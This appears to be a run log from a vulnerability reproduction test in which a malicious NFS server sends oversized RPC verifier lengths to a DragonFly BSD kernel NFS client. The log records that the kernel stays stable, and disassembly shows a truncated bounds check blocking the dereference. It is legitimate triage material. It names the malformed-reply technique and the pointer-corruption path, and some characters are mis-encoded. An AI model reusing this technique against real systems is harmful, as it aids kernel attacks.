DF-0775 / run.log
DF-0775 run log โ unpatched #0 kernel
=======================================
Guest: DragonFly 6.5-DEVELOPMENT #0 (with-src snapshot, INVARIANTS ON)
Build:
cc -O2 -o malicious_server malicious_server.c โ BUILD_EXIT=0
Server started as root on UDP/TCP 111 + TCP 2049.
mount_nfs -2 -o tcp,port=2049,ro 127.0.0.1:/x /mnt_df0775
Mount SUCCEEDED โ the malicious server answered:
[ok] prog=100003 vers=2 proc=0 (NFS NULL โ userspace mount_nfs probe)
[ok] prog=100000 vers=2 proc=3 (portmap GETPORT โ returned 2049)
[ok] prog=100005 vers=1 proc=1 (MOUNT โ returned dummy 32-byte FH)
After mount(2), the KERNEL NFS client sent GETATTR (proc=1) RPCs.
The server replied to EACH with verifier_len = 0x7FFFFFFD:
[EVIL] prog=100003 vers=2 proc=1 xid=0x5E5944DD -> verifier_len=0x7FFFFFFD
[EVIL] prog=100003 vers=2 proc=1 xid=0x5E5944DE -> verifier_len=0x7FFFFFFD
... (21 kernel RPCs total, all with the malicious verifier)
Result: EVERY NFS operation returned EBADRPC ("RPC struct is bad"):
$ ls /mnt_df0775
ls: /mnt_df0775: RPC struct is bad
$ cat /mnt_df0775/foo
cat: /mnt_df0775/foo: RPC struct is bad
Guest REMAINED UP after 21+ malicious replies. No panic, no OOB read,
no kernel messages in dmesg. The NFS mount was broken (every op failed
with EBADRPC) but the kernel was completely stable.
WHY NO PANIC โ see VERDICT.md for the full disassembly analysis.
Summary: the signed overflow in nfsm_rndup IS real and dpos IS corrupted
(dpos += INT_MIN, jumping ~2 GiB backwards). BUT the subsequent
nfsm_dissect() computes its bounds as `int n = ptrdiff` which TRUNCATES
the huge 64-bit pointer difference to a negative 32-bit value. The
signed comparison `bytes <= n` (4 <= INT_MIN) is FALSE, routing to
nfsm_disct() which returns EBADRPC instead of returning the wild pointer.
The claimed `*tl == 0` dereference at line 1509 is NEVER reached.
Disassembly proof (nfsm_dissect @ 0xffffffff80815170):
80815191: sub %rax,%rcx ; rcx = (m_data+m_len) - dpos_corrupted (64-bit)
80815194: cmp %esi,%ecx ; 32-BIT truncation! compares ecx with bytes
80815196: jl <nfsm_disct path> ; ecx(INT_MIN) < esi(4) โ TRUE โ EBADRPC
Same pattern in nfsm_adv @ 0xffffffff80814520:
8081453f: cmp %esi,%ecx ; 32-bit truncated comparison
80814541: jl <nfs_adv path> ; not taken for ecx=0,esi=INT_MIN
... (this is WHERE dpos gets corrupted)
So the dpos corruption occurs (nfsm_adv's in-place path is taken), but
the corrupted pointer is never dereferenced because nfsm_dissect's
truncated bounds check routes to the error path.